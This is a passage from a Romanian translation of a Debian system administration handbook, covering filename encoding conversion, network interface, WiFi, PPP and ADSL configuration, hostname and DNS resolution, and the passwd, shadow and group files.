diagnosticul este mai complex și soluția cea mai simplă este adesea să migreze pur și simplu către UTF-8 de
ambele părți.

În ceea ce privește numele fișierelor, migrarea poate fi relativ simplă. Instrumentul convmv (în pachetul cu
același nume) a fost creat special în acest scop; permite redenumirea fișierelor de la o codificare la alta.

136
Utilizarea acestui instrument este relativ simplă, dar vă recomandăm să o faceți în doi pași pentru a evita
surprizele. Următorul exemplu ilustrează un mediu UTF-8 care conține nume de director codificate în ISO-
8859-15 și utilizarea convmv pentru a le redenumi.

$ ls travail/
Ic?nes ?l?ments graphiques Textes
$ convmv -r -f iso-8859-15 -t utf-8 travail/
Starting a dry run without changes...
mv ”travail/�l�ments graphiques”
”travail/Éléments graphiques”
mv ”travail/Ic�nes”
”travail/Icônes”
No changes to your files done. Use --notest to finally rename the files.
$ convmv -r --notest -f iso-8859-15 -t utf-8 travail/
mv ”travail/�l�ments graphiques”
”travail/Éléments graphiques”
mv ”travail/Ic�nes”
”travail/Icônes”
Ready!
$ ls travail/
Éléments graphiques Icônes Textes

Pentru conținutul fișierului, procedurile de conversie sunt mai complexe, datorită numeroase varietăți de
formate de fișiere existente. Unele formate de fișiere includ codificarea informațiilor care facilitează sarcinile
software-ului folosit pentru tratarea acestora; este suficient, apoi, să deschidem aceste fișiere și să le salvăm
din nou specificând codarea UTF-8. În alte cazuri, trebuie să specificați codificarea originală (ISO-8859-1 sau
“Western”, sau ISO-8859-15 sau “Western (Euro)”, conform formulărilor) la deschiderea fișierului.
Pentru fișiere text simple, puteți utiliza recode (în pachetul cu același nume) care permite recodarea
automată. Acest instrument are numeroase opțiuni, astfel încât să vă puteți juca cu comportamentul său. Vă
recomandăm să consultați documentația, pagina de manual recode(1) sau recode info page (mai completă).

8.2. Configurarea rețelei

Rețeaua este configurată automat în timpul instalării inițiale. Dacă Network Manager este instalat (ceea ce
este, în general, cazul instalărilor complete de desktop), atunci este posibil să nu fie necesară nicio
configurație (de exemplu, dacă vă bazați pe DHCP pe o conexiune cu fir și nu aveți cerințe specifice). Dacă
este necesară o configurație (de exemplu pentru o interfață WiFi), atunci va crea fișierul corespunzător
/etc/NetworkManager/system-connections/.

NOȚIUNI DE BAZĂ
Concepte esențiale de rețea
(Ethernet, IP address, subnet,
broadcast)
Majoritatea rețelelor locale moderne folosesc protocolul Ethernet, unde datele sunt împărțite în mici blocuri
numite cadre și transmise pe fir cadru cu cadru. Vitezele datelor variază de la 10 Mb/s pentru cardurile Ethernet
mai vechi la 10 Gb/s în cele mai noi carduri (rata cea mai frecventă crescând în prezent de la 100 Mb/s la 1
Gb/s). Cablurile cele mai utilizate sunt denumite 10BASE-T, 100BASE-T, 1000BASE-T sau 10GBASE-T, în
funcție de debitul pe care îl pot furniza în mod fiabil (T-ul vine de la “twisted pair” și înseamnă “pereche
răsucită”); cablurile respective se termină într-un conector RJ45. Există și alte tipuri de cabluri, utilizate mai ales
pentru viteze de 1 Gb/s și mai mari.
O adresă IP este un număr utilizat pentru a identifica o interfață de rețea pe un computer dintr-o rețea locală sau
pe Internet. În cea mai răspândită versiune de IP (IPv4), acest număr este codat în 32 biți și este de obicei
reprezentat ca 4 numere separate prin perioade (de ex. 192.168.0.1), fiecare număr este cuprins între 0 și
255 (inclusiv, care corespunde la 8 biți de date). Următoarea versiune a protocolului, IPv6, extinde acest spațiu
de adresare la 128 de biți, iar adresele sunt, în general, reprezentate ca o serie de numere hexadecimale separate
prin coloane (de exemplu, 2001:0db8:13bb:0002:0000:0000:0000:0020, sau 2001:db8:13bb:2::20 pe scurt).
O mască de subrețea (netmask) definește în codul său binar ce porțiune a unei adrese IP corespunde rețelei,
restul specificând mașina. În exemplul de configurare a unei adrese IPv4 statice date aici, masca de subrețea,
255.255.255.0 (24 “1” urmată de 8 “0” în reprezentare binară) indică faptul că primii 24 de biți ai adresa IP
corespunde adresei de rețea, iar ceilalți 8 sunt specifici mașinii. În IPv6, pentru lizibilitate, este exprimat doar
numărul de “1”; masca net pentru o rețea IPv6 ar putea fi, așadar, 64.
Adresa de rețea este o adresă IP în care partea care descrie numărul mașinii este 0. Gama de adrese IPv4 dintr-o
rețea completă este adesea indicată de sintaxa, a.b.c.d/e, în care a.b.c.d este adresa rețelei și e este numărul de
biți afectați părții de rețea dintr-o adresă IP. Exemplul de rețea ar fi astfel scris: 192.168.0.0/24. Sintaxa
este similară în IPv6: 2001:db8:13bb:2::/64.
Un ruter este o mașină care conectează mai multe rețele între ele. Tot traficul care vine printr-un ruter este
ghidat către rețeaua corectă. Pentru a face acest lucru, routerul analizează pachetele primite și le redirecționează
în funcție de adresa IP a destinației lor. Routerul este adesea cunoscut sub numele de poartă (gateway); în această
configurație, funcționează ca o mașină care ajută să ajungă dincolo de o rețea locală (spre o rețea extinsă, cum ar
fi Internetul).

137
 Adresa specială de difuzare conectează toate posturile dintr-o rețea. Aproape niciodată “rutat”, funcționează
doar în rețeaua respectivă. Mai exact, înseamnă că un pachet de date adresat difuzării nu trece niciodată prin
router.
Acest capitol se concentrează pe adresele IPv4, deoarece acestea sunt în prezent cele mai des utilizate. Detaliile
protocolului IPv6 sunt abordate în secțiunea 10.5. “primaryIPv6” pagina 204, dar conceptele rămân aceleași.

Rețeaua este configurată automat în timpul instalării inițiale. Dacă se instalează Network Manager (ceea ce
este în general cazul instalărilor desktop complete), s-ar putea să nu fie necesară nicio configurație (de
exemplu, dacă vă bazați pe DHCP, pe o conexiune prin cablu, și nu aveți cerințe specifice). Dacă este
necesară o configurație (de exemplu, pentru o interfață WiFi), atunci va crea fișierul corespunzător în /etc/
NetworkManager/system-connections/.

ALTERNATIVĂ Dacă Managerul de rețea este recomandat în special în configurațiile de roaming (a se vedea secțiunea
Network Manager 8.2.5. “Configurare automată a rețelei pentru utilizatorii în roaming” pagina 141), acesta este, de asemenea, perfect
utilizabil ca instrument de gestionare a rețelei implicit. Puteți crea “System connections” care sunt utilizate de
îndată ce computerul pornește manual fie cu un fișier .ini în /etc/NetworkManager/system-
connections/ sau printr-un instrument grafic (nm-connection-editor). Nu uitați să dezactivați toate
intrările din /etc/network/interfaces dacă doriți ca Managerul de rețea să le gestioneze.
➨ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings
➨ https://developer.gnome.org/NetworkManager/1.6/ref-settings.html

Dacă Network Manager nu este instalat, atunci programul de instalare va configura ifupdown prin crearea
fișierului /etc/network/interfaces. O linie care începe cu auto oferă o listă de interfețe care trebuie
configurate automat la pornire de către serviciul networking.
Într-un context server, ifupdown este astfel instrumentul de configurare a rețelei pe care îl obțineți de obicei.
De aceea, îl vom acoperi în secțiunile următoare.

8.2.1. Interfața ethernet

Dacă computerul are un placă Ethernet, rețeaua IP care îi este asociată trebuie configurată alegând una
dintre cele două metode. Cea mai simplă metodă este configurația dinamică cu DHCP și necesită un DHCP
server în rețeaua locală. Poate indica un nume de gazdă dorit, corespunzător setării hostname din exemplul
de mai jos. DHCP server trimite apoi setări de configurare pentru rețeaua corespunzătoare.

Exemplul 8.1 Configurare DHCP

auto enp0s31f6
iface enp0s31f6 inet dhcp
hostname arrakis

ÎN PRACTICĂ În mod implicit, kernel-ul atribuie denumiri generice precum un eth0 (pentru Ethernet cu fir) sau wlan0
Numele interfețelor de rețea (pentru WiFi) interfețelor de rețea. Numărul acestor nume este un contor incremental simplu care reprezintă
ordinea în care au fost detectate. Cu hardware-ul modern, acea ordine s-ar putea schimba pentru fiecare repornire
și astfel numele implicite nu sunt de încredere.
Din fericire, systemd și udev sunt capabili să redenumească interfețele imediat ce apar. Politica de nume
implicită este definită de /lib/systemd/network/99-default.link (consultați systemd.link(5)
pentru o explicație a intrării NamePolicy (PoliticaNumelor) din fișierul respectiv). În practică, numele sunt
deseori bazate pe locația fizică a dispozitivului (așa cum se presupune unde sunt conectate) și veți vedea nume
care încep cu en pentru ethernet cu fir și wl pentru WiFi. În exemplul de mai sus, restul numelui indică, sub
formă prescurtată, un număr (0) de magistrală PCI (p), un număr de slot (s31), un număr de funcție (f6).
Evident, aveți libertatea de a trece peste această politică și/sau de a o completa pentru a personaliza numele unor
interfețe specifice. Puteți afla numele interfețelor de rețea din ieșirea ip addr (sau ca nume de fișiere în
/sys/class/net/).
În unele cazuri deosebite ar putea fi necesar să dezactivați denumirea consecventă a dispozitivelor de rețea așa
cum este descris mai sus. În afară de modificarea regulii implicite udev, este posibil să porniți sistemul folosind
parametrii kernel net.ifnames = 0 și biosdevname = 0 pentru a realiza acest lucru.

O configurație “statică” trebuie să indice setările rețelei într-o manieră fixă. Aceasta include cel puțin IP address
și subnet mask; adrese de rețea și broadcast addresses sunt, de asemenea, uneori enumerate. Un router care se
conectează la exterior va fi specificat ca gateway.

Exemplul 8.2 Configurație Statică

138
auto enp0s31f6
iface enp0s31f6 inet static
address 192.168.0.3/24
broadcast 192.168.0.255
network 192.168.0.0
gateway 192.168.0.1

REȚINEȚI Este posibil nu doar să asociem mai multe interfețe la o singură placă de rețea fizică, ci și mai multe adrese IP la
Adrese multiple o singură interfață. Amintiți-vă, de asemenea, că o adresă IP poate corespunde oricărui număr de nume prin DNS
și că un nume poate corespunde, de asemenea, oricărui număr de adrese IP numerice.
După cum puteți ghici, configurațiile pot fi destul de complexe, dar aceste opțiuni sunt utilizate doar în cazuri
foarte speciale. Exemplele citate aici sunt tipice configurațiilor obișnuite.

8.2.2. Interfața fără fir

Funcționarea plăcilor de rețea wireless poate fi un pic mai dificilă. În primul rând, ele necesită adesea
instalarea firmware-ului proprietar care nu este instalat implicit în Debian. Apoi rețelele wireless se bazează
pe criptografie pentru a restricționa accesul numai la utilizatorii autorizați, acest lucru implică stocarea unei
chei secrete în configurația rețelei. Să abordăm aceste subiecte unul câte unul.

8.2.2.1. Instalarea firmware-urilor necesare

În primul rând, trebuie să activați depozitul care nu este gratuit în fișierul source.list al APT: consultați
secțiunea 6.1. “Completarea în fișierul sources.list” pagina 97 pentru detalii despre acest fișier. Multe firmware-uri
sunt proprietare și sunt astfel localizate în acest depozit. Puteți încerca să săriți acest pas dacă doriți, dar
dacă pasul următor nu găsește firmware-ul necesar, încercați din nou după ce ați activat secțiunea non-free.
Apoi, trebuie să instalați pachetele firmware-* adecvate. Dacă nu știți ce pachet aveți nevoie, puteți
instala pachetul isenkram și executa comanda lui isenkram-autoinstall-firmware. Pachetele sunt
adesea numite după producătorul de hardware sau modulul de kernel corespunzător: firmware-iwlwifi pentru
plăci Intel wireless, firmware-atheros pentru Qualcomm Atheros, firmware-ralink pentru Ralink, etc. Se
recomandă apoi o repornire, deoarece kernel driver caută de obicei fișierele de firmware atunci când este
încărcat prima dată și apoi nu mai.

8.2.2.2. Intrări specifice wireless în /etc/network/interfaces

ifupdown este capabil să administreze interfețe wireless, dar are nevoie de ajutorul pachetului wpasupplicant
care asigură integrarea necesară între “ifupdown“ și comanda wpa_supplicant folosită pentru a configura
interfețele wireless (atunci când utilizați criptarea WPA/WPA2). Intrarea obișnuită în
/etc/network/interfaces trebuie extinsă cu doi parametri suplimentari pentru a specifica numele
wireless network (aka SSID) și Pre-Shared Key (PSK).

Exemplul 8.3 Configurația DHCP pentru o interfață wireless

auto wlp4s0
iface wlp4s0 inet dhcp
wpa-ssid Școala Generala
wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

Parametrul wpa-psk poate conține fie fraza de text simplă, fie versiunea sa hash-ată generată cu parola
wpa_passphrase SSPA. Dacă utilizați o conexiune wireless necriptată, atunci ar trebui să puneți wpa-key-
mgmt NONE (NICIUNA) și nicio intrare wpa-psk. Pentru mai multe informații despre opțiunile de configurare
posibile, consultați /usr/share/doc/wpasupplicant/README.Debian.gz.
În acest moment, ar trebui să luați în considerare restricționarea permisiunilor de citire de pe
/etc/network /interfaces la numai utilizatorul root deoarece fișierul conține o cheie privată la care nu
toți utilizatorii ar trebui să aibă acces.

ISTORIE Utilizarea protocolului de criptare WEP învechit este posibilă cu pachetul wireless-tools. Consultați
Criptare WEP /usr/share/doc/wireless-tools/README.Debian pentru instrucțiuni.

139
8.2.3. Conectarea cu PPP printr-un modem PSTN
O conexiune punct la punct (PPP) stabilește o conexiune intermitentă; aceasta este cea mai comună soluție
pentru conexiunile realizate cu un modem telefonic (“PSTN modem”, deoarece conexiunea trece prin rețeaua
de telefonie publică comutată).
O conexiune prin modem telefonic necesită un cont cu un furnizor de acces, inclusiv un număr de telefon, un
nume de utilizator, o parolă și, uneori, protocolul de autentificare care trebuie utilizat. O astfel de conexiune
este configurată folosind instrumentul pppconfig din pachetul Debian cu același nume. În mod implicit, el
stabilește o conexiune numită provider (ca în furnizorul de servicii de Internet). Când aveți îndoieli cu
privire la protocolul de autentificare, alegeți PAP: este oferit de majoritatea furnizorilor de servicii de Internet.
După configurare, este posibil să vă conectați folosind comanda pon (dându-i numele de conexiune ca
parametru, atunci când valoarea implicită pentru furnizor nu este potrivită). Link-ul este deconectat cu
comanda poff. Aceste două comenzi pot fi executate de către utilizatorul rădăcină sau de către orice alt
utilizator, cu condiția să se afle în grupul dip.

8.2.4. Conectarea printr-un modem ADSL

Termenul generic “ADSL modem” acoperă o multitudine de dispozitive cu funcții foarte diferite. Modemurile
care sunt cele mai simple de utilizat cu Linux sunt cele care au o interfață Ethernet (și nu numai o interfață
USB). Acestea tind să fie populare; majoritatea furnizorilor de servicii Internet ADSL împrumută (sau
închiriază) un “dispozitiv” cu interfețe Ethernet. În funcție de tipul de modem, configurația necesară poate varia
foarte mult.

8.2.4.1. Modemuri care acceptă PPPOE

Unele modemuri Ethernet funcționează cu Protocolul punct la punct prin Ethernet (PPPOE - Point to Point Protocol
over Ethernet). Instrumentul pppoeconf (din pachetul cu același nume) va configura conexiunea. Pentru a
face acest lucru, modifică fișierul /etc/ppp/peers/dsl-provider cu setările furnizate și înregistrează
informațiile de conectare în /etc /ppp/pap-secrets și fișierele /etc/ppp/chap-secrets. Se
recomandă să acceptați toate modificările propuse.
După finalizarea acestei configurații, puteți deschide conexiunea ADSL cu comanda pon dsl-provider și
deconectați-vă cu poff dsl-provider.

SFAT Conexiunile PPP prin ADSL sunt intermitente, prin definiție. Deoarece de obicei nu sunt înregistrate în funcție
Pornirea ppp la inițializare de timp, sunt câteva dezavantaje ale tentației de a le menține întotdeauna deschise. Mijloacele standard pentru a
face acest lucru este utilizarea sistemului init.
Cu systemd, adăugarea unei sarcini de repornire automată pentru conexiunea ADSL este o simplă problemă a
creării unui ”fișier unitate” cum ar fi /etc/systemd/system/adsl-connection.service, cu
conținut precum următoarele:
[Unit]\n
Description=ADSL connection

[Service]
Type=forking
ExecStart=/usr/sbin/pppd call dsl-provider
Restart=always

[Install]
WantedBy=multi-user.target
După ce acest fișier unitate a fost definit, trebuie să fie activat cu systemctl enable adsl-
connection. Apoi, bucla (loop) poate fi pornită manual cu systemctl start adsl-connection;
acesta va fi, de asemenea, pornit automat la inițializare.
În cazul sistemelor care nu folosesc systemd (inclusiv Wheezy și versiuni anterioare ale Debian), inițiativa
standard SystemV funcționează diferit. La astfel de sisteme, tot ce este necesar este să adăugați o linie, cum ar fi
următoarea, la sfârșitul fișierului /etc/inittab; apoi, de fiecare dată când este deconectat, init o va
reporni.
adsl:2345:respawn:/usr/sbin/pppd call dsl-provider
Pentru conexiunile ADSL care se deconectează automat zilnic, această metodă reduce durata întreruperii.

140
8.2.4.2. Modemuri care acceptă PPTP
Protocolul PPTP (Point to Point Protocol over Ethernet) a fost creat de Microsoft. Implementat la începuturile
ADSL, acesta a fost repede înlocuit de PPPOE. Dacă acest protocol vă este forțat, consultați secțiunea
10.3.4. “PPTP” pagina 199.

8.2.4.3. Modemuri care acceptă DHCP

Când un modem este conectat la computer printr-un cablu Ethernet (cablu încrucișat - crossover), de obicei,
configurați o conexiune de rețea prin DHCP pe computer; modemul acționează automat ca o poartă în mod
implicit și are grijă de rutare (ceea ce înseamnă că gestionează traficul de rețea între computer și Internet).

NOȚIUNI DE BAZĂ Plăcile de rețea ale computerului se așteaptă să primească date prin cabluri specifice și să le trimită altora. Când
Cablu crossover pentru o conectați un computer la o rețea locală, de obicei conectați un cablu (direct sau crossover) între placa de rețea și
conexiune directă Ethernet repeater sau switch. Cu toate acestea, dacă doriți să conectați două computere direct (fără switch sau repeater),
trebuie să direcționați semnalul trimis de o placă către partea de primire a celeilalte plăci și invers. Acesta este
scopul unui cablu crossover și motivul pentru care este utilizat.
Rețineți că această distincție a devenit aproape irelevantă de-a lungul timpului, deoarece plăcile moderne de
rețea sunt capabile să detecteze tipul de cablu prezent și să se adapteze în consecință, astfel încât nu va fi
neobișnuit ca ambele tipuri de cablu să funcționeze într-o dată locație.

Cele mai multe “ADSL router” de pe piață pot fi utilizate astfel, la fel ca majoritatea ADSL modem furnizate de
furnizorii de servicii de internet.

8.2.5. Configurare automată a rețelei pentru utilizatorii în roaming

Mulți profesori de la Școala Generală au un laptop în scopuri profesionale pe care îl folosesc și acasă.
Configurația rețelei de utilizat diferă în funcție de locație. Acasă, poate fi o rețea wifi (protejată de o cheie
WPA), în timp ce locul de muncă folosește o rețea cu fir pentru o mai mare securitate și mai mare lățime de
bandă.
Pentru a evita necesitatea conectării sau deconectării manuale a interfețelor de rețea corespunzătoare,
administratorii au instalat pachetul network-manager pe aceste mașini în roaming. Acest software permite
utilizatorului să treacă ușor de la o rețea la alta folosind o mică pictogramă afișată în zona de notificare a
desktopului grafic. Făcând clic pe această pictogramă este afișată o listă de rețele disponibile (atât cu fir cât
și fără fir), astfel încât pot alege pur și simplu rețeaua pe care doresc să o utilizeze. Programul salvează
configurația pentru rețelele la care utilizatorul s-a conectat deja și trece automat la cea mai bună rețea
disponibilă când conexiunea curentă scade.
Pentru a face acest lucru, programul este structurat în două părți: un daemon, care rulează ca root,
gestionează activarea și configurarea interfețelor de rețea, și o interfață de utilizator controlează acest
daemon. PolicyKit gestionează autorizațiile necesare pentru a controla acest program și Debian a configurat
PolicyKit astfel încât membrii grupului netdev să poată adăuga sau schimba conexiunile Network Manager.
Network Manager știe să gestioneze diferite tipuri de conexiuni (DHCP, configurare manuală, rețea locală),
dar numai dacă configurația este setată cu programul în sine. Acesta este motivul pentru care va ignora
sistematic toate interfețele de rețea din /etc/network/interfaces și /etc/network/interfaces.d/
pentru care nu este potrivită. Deoarece Network Manager nu oferă detalii atunci când nu sunt afișate
conexiuni de rețea, calea simplă este să ștergeți din /etc/network/interfaces orice configurație pentru
toate interfețele care trebuie gestionate de Network Manager.
Rețineți că acest program este instalat în mod implicit atunci când sarcina “Desktop Environment” este aleasă
în timpul instalării inițiale.

8.3. Setarea hostname și configurarea name service

Scopul atribuirii numelor la numere IP este de a le face mai ușor de ținut minte. În realitate, o IP address
identifică o interfață de rețea asociată unui dispozitiv, cum ar fi o placă de rețea. Deoarece fiecare aparat
poate avea mai multe plăci de rețea și mai multe interfețe pe fiecare placă, un singur computer poate avea
mai multe nume în sistemul domain name).
Fiecare mașină este, totuși, identificată cu un nume principal (sau “canonical”), stocat în fișierul
/etc/hostname și comunicat kernel-ului Linux prin scripturi de inițializare prin comanda hostname.

141
Valoarea curentă este disponibilă într-un sistem de fișiere virtual și o puteți obține cu comanda cat /proc/
sys/kernel/hostname.

NOȚIUNI DE BAZĂ Arborii de fișiere /proc/ și /sys/ sunt generate de sisteme de fișiere “virtuale”. Acesta este un mijloc
/proc/ și /sys/, sisteme de practic de recuperare a informațiilor de la kernel (prin listarea fișierelor virtuale) și de comunicare a acestora
fișiere virtuale (prin scrierea în fișiere virtuale).
În special, /sys/ este conceput, pentru a oferi acces la obiectele interne ale nucleului, în special la cele care
reprezintă diferitele dispozitive din sistem. Nucleul poate astfel să partajeze diverse informații: starea fiecărui
dispozitiv (de exemplu, dacă se află în modul de economisire a energiei), indiferent dacă este un dispozitiv
detașabil, etc. Rețineți că /sys/ a existat numai de la versiunea 2.6 a kernel-ului: fișierele din acest director
conțin informații despre procesele care rulează pe sistem și hardware-ul acestuia.

În mod surprinzător, numele de domeniu nu este gestionat în același mod, ci provine de la numele complet al
mașinii, obținut prin rezoluția de nume. Îl puteți schimba în fișierul /etc/hosts; pur și simplu scrieți un
nume complet pentru mașină acolo la începutul listei de nume asociate cu adresa mașinii, ca în următorul
exemplu:

127.0.0.1 localhost
192.168.0.1 arrakis.scoalagenerala.com arrakis

8.3.1. Name resolution

Mecanismul name resolution în Linux este modular și poate utiliza diferite surse de informații declarate în
fișierul /etc/nsswitch.conf. Intrarea care implică rezolvarea hostname este hosts. În mod implicit,
acesta conține fișierele files dns, ceea ce înseamnă că sistemul consultă fișierul /etc/hosts, apoi DNS
server. NIS/NIS+ server sau LDAP server sunt alte surse posibile.

REȚINEȚI Fiți atenți, comenzile destinate anume interogării DNS (în special hosts) nu utilizează mecanismul de rezoluție
NSS și DNS a numelor standard (NSS). În consecință, ele nu iau în considerare /etc/nsswitch.conf și prin urmare, nu
/etc/hosts.

8.3.1.1. Configurarea DNS server

DNS (Domain Name Service) este un serviciu distribuit și ierarhizat de mapare a numelor către adresele IP și
invers. Mai exact, poate transforma un nume prietenos, precum www.eyrolles.com în adresa IP reală,
213.244.11.247.
Pentru a accesa informațiile DNS, un DNS server trebuie să fie disponibil pentru a transmite solicitările prin
releu. Școala Generală are propriul său DNS server dar un utilizator individual are mai multe șanse să utilizeze
DNS server-ele furnizate de ISP-ul lor.
DNS server-ele care vor fi utilizate sunt indicate în /etc/resolv.conf, una pe fiecare linie, cu indiciul
nameserver, precedând o adresă IP, ca în următorul exemplu:

nameserver 212.27.32.176
nameserver 212.27.32.177
nameserver 8.8.8.8

Rețineți că fișierul /etc/resolv.conf poate fi gestionat automat (și suprascris) când rețeaua este
administrată de NetworkManager sau configurată prin DHCP.

8.3.1.2. Fișierul /etc/hosts

Dacă nu există un name server în rețeaua locală, este încă posibil să stabiliți o mică tabelă de mapping IP
addresses și machine hostnames în fișierul /etc/hosts, rezervate de obicei pentru stațiile de rețea locale.
Sintaxa acestui fișier este foarte simplă: fiecare linie indică o adresă IP specifică urmată de lista oricăror
nume asociate (prima fiind “complet calificată”, adică include numele domeniului).
Acest fișier este disponibil chiar și în timpul întreruperilor din rețea sau când DNS server-ele nu pot fi atinse,
dar va fi util cu adevărat numai atunci când este duplicat pe toate mașinile din rețea. Cea mai mică
modificare a corespondenței va necesita actualizarea fișierului peste tot. Acesta este motivul pentru care
/etc/hosts conține, în general, doar cele mai importante intrări.

142
Acest fișier va fi suficient pentru o mică rețea care nu este conectată la Internet, dar cu 5 mașini sau mai
multe, se recomandă instalarea unui DNS server corespunzător.

SFAT Deoarece aplicațiile verifică fișierul /etc/hosts înainte de interogarea DNS, este posibil să includeți acolo
Ocolirea DNS informații care sunt diferite de cele pe care le-ar întoarce DNS și prin urmare, să ocolească rezoluția normală pe
nume DNS.
Acest lucru permite, în cazul în care modificările DNS nu au fost încă propagate, să testeze accesul la un site
web cu numele intenționat, chiar dacă acest nume nu este încă mapat corespunzător la adresa IP corectă.
O altă utilizare posibilă este redirecționarea traficului destinat unei gazde specifice către localhost, prevenind
astfel orice comunicare cu gazda dată. De exemplu, numele de gazdă ale server-elor dedicate difuzării
anunțurilor ar putea fi redirecționate, ceea ce ar ocoli aceste anunțuri, ducând la o navigare mai fluidă, mai puțin
distrugătoare.

8.4. Baze de date de utilizatori și grupuri

Lista de utilizatori este de obicei stocată în fișierul /etc/passwd, în timp ce fișierul /etc/shadow
stochează parole criptate. Ambele sunt fișiere text, într-un format relativ simplu, care poate fi citit și modificat
cu un editor de text. Fiecare utilizator este listat acolo pe o linie cu mai multe câmpuri separate cu două
puncte (“:”).

REȚINEȚI Fișierele de sistem menționate în acest capitol sunt toate fișiere text simplu și pot fi editate cu un editor de text.
Editarea system files Având în vedere importanța lor pentru funcționalitatea de bază a sistemului, este întotdeauna o idee bună să luați
precauții suplimentare la editarea fișierelor de sistem. În primul rând, faceți întotdeauna o copie sau o copie de
rezervă a unui fișier de sistem înainte de a o deschide sau modifica. În al doilea rând, pe server-e sau mașini în
care mai mult de o persoană ar putea accesa același fișier în același timp, luați măsuri suplimentare pentru a vă
feri de coruperea fișierului.
În acest scop, este suficient să folosiți comanda vipw pentru a edita fișierul /etc/passwd sau vigr pentru a
edita /etc/grup. Aceste comenzi blochează fișierul în cauză înainte de a rula editorul de text, (vi în mod
implicit, cu excepția cazului în care variabila de mediu EDITOR a fost modificată). Opțiunea -s din aceste
comenzi permite editarea fișierului shadow.

NOȚIUNI DE BAZĂ Funcție unidirecțională crypt transformă un șir (A) într-un alt șir (B) într-un mod în care A nu poate fi derivat
crypt, o funcție unidirecțională din B. Singura modalitate de a identifica A este de a testa toate valorile posibile, verificarea fiecăreia pentru a
determina dacă transformarea prin funcție va produce B sau nu. Utilizează până la 8 caractere ca intrare (șirul A)
și generează un șir de 13 caractere afișabile, ASCII (șir B).

8.4.1. Lista utilizatorilor: /etc/passwd

Iată lista câmpurilor din fișierul /etc/passwd:
• autentificare, de exemplu dogg;
• parola: aceasta este o parolă criptată de o funcție unidirecțională (crypt), bazându-se pe DES, MD5,
SHA-256 sau SHA-512. Valoarea specială “x” indică faptul că parola criptată este stocată în /etc/
shadow;
• uid: număr unic care identifică fiecare utilizator;
• gid:număr unic pentru grupul principal al utilizatorului (Debian creează în mod implicit un grup
specific pentru fiecare utilizator);
• GECOS: câmpul de date care conține de obicei numele complet al utilizatorului;
• director de autentificare, atribuit utilizatorului pentru stocarea fișierelor personale (variabila de mediu
$HOME indică în general aici);
• program de executat la autentificare. Acesta este, de obicei, un interpretor de comandă (shell), care
oferă utilizatorului mână liberă. Dacă specificați /bin/false (care nu face nimic și returnează
controlul imediat), utilizatorul nu se poate autentifica.

NOȚIUNI DE BAZĂ Un grup Unix este o entitate care include mai mulți utilizatori, astfel încât să poată partaja cu ușurință fișiere
Grup Unix folosind sistemul de permisiuni integrat (beneficiind de aceleași drepturi). Puteți restricționa, de asemenea,
utilizarea anumitor programe la un anumit grup.

143
8.4.2. Fișierul cu parolă ascunsă și criptată: /etc/shadow
Fișierul /etc/shadow conține următoarele câmpuri:
• autentificare;
• parola criptată;
• mai multe câmpuri care gestionează expirarea parolelor.

DOCUMENTAȚIE Aceste formate sunt documentate în următoarele pagini de manual: passwd(5), shadow(5), și group(5).
Formate de fișiere /etc/passwd,
/etc/shadow și /etc/group

SECURITATE Spre deosebire de alter-ego-ul său /etc/passwd, /etc/shadow nu pot fi citite de utilizatorii obișnuiți.
Fișierul de securitatea Orice parolă criptată stocată în /etc/passwd poate fi citită de oricine; un cracker ar putea încerca să “spargă”
/etc/shadow (sau să dezvăluie) o parolă prin una din mai multe metode de “forță brută” care, pur și simplu, presupun
combinațiile de caractere utilizate frecvent. Acest atac — numit “dictionary attack” — nu mai este posibil pe
sisteme folosind /etc/shadow.

8.4.3. Modificarea unui cont sau a unei parole existente

Următoarele comenzi permit modificarea informațiilor stocate în câmpuri specifice ale bazelor de date ale
utilizatorilor: passwd permite unui utilizator obișnuit să își schimbe parola care, la rândul său, actualizează
fișierul /etc/shadow; chfn (CHange Full Name), rezervat super-utilizatorului (root), modifică câmpul GECOS.
(CHange SHell) chsh permite utilizatorului să își schimbe shell-ul de conectare, cu toate acestea, alegerile
disponibile vor fi limitate la cele enumerate în /etc/shells; pe de altă parte, administratorul nu este legat
de această restricție și poate seta shell-ul la orice program ales.
În cele din urmă, comanda chage (CHange AGE) permite administratorului să modifice setările de expirare a
parolei (opțiunea -l user va lista setările curente). De asemenea, puteți forța expirarea unei parole
utilizând comanda passwd-e user, care va solicita utilizatorului să își schimbe parola la următoarea
conectare.

8.4.4. Dezactivarea unui cont

S-ar putea să constatați că aveți nevoie să “dezactivați un cont” (blocați un utilizator), ca măsură disciplinară,
în scopul unei investigații sau pur și simplu în cazul absenței prelungite sau definitive a unui utilizator. Un
cont dezactivat înseamnă că utilizatorul nu se poate autentifica sau nu poate avea acces la mașină. Contul
rămâne intact pe aparat și nu se șterg fișiere sau date; este pur și simplu inaccesibil. Acest lucru este realizat
folosind comanda passwd -l user (blocare). Activarea contului se face în mod similar, cu opțiunea -u
(deblocare).

ÎN DETALIU În loc să utilizați fișierele obișnuite pentru a gestiona listele de utilizatori și grupuri, puteți utiliza alte tipuri de
NSS și baze de date de sistem baze de date, cum ar fi LDAP sau db, utilizând un modul NSS (nume de schimbare a serviciului). Modulele
utilizate sunt listate în fișierul /etc/nsswitch.conf, sub passwd, shadow și grup intrări. Vedeți
secțiunea 11.7.3.1. “Configurarea NSS” pagina 242 pentru un exemplu specific de utilizare a unui modul NSS de
către LDAP.

8.4.5. Lista grupului: /etc/group

Grupurile sunt listate în fișierul /etc/group, o bază de date textuală simplă într-un format similar cu cel al
fișierului /etc/passwd, cu următoarele câmpuri:
• nume de grup;
• parolă (opțional): Aceasta este utilizată doar pentru alăturarea la un grup atunci când cineva nu este
un membru obișnuit (cu comenzile newgrp sau sg, a se vedea bara laterală “Lucrul cu mai multe
grupuri” pagina 145);
• gid: numărul unic de identificare a grupului;
• lista membrilor: lista utilizatorilor care sunt membri ai grupului, despărțiți prin virgule.

144
 NOȚIUNI DE BAZĂ Fiecare utilizator poate fi membru al mai multor grupuri; unul din ei este în “grupul lor principal”. Grupul
Lucrul cu mai multe grupuri principal al unui utilizator este creat, în mod implicit, în timpul configurației inițiale a utilizatorului. În mod
implicit, fiecare fișier creat de un utilizator aparține acestora, precum și grupului principal. Acest lucru nu este
întotdeauna de dorit; de exemplu, atunci când utilizatorul trebuie să lucreze într-un director partajat de un alt
grup decât grupul principal. În acest caz, utilizatorul trebuie să își schimbe grupul principal folosind una dintre
următoarele comenzi: newgrp, care pornește un shell nou, sau sg, care execută pur și simplu o comandă
folosind grupul alternativ furnizat. Aceste comenzi permit, de asemenea, utilizatorului să se alăture unui grup din
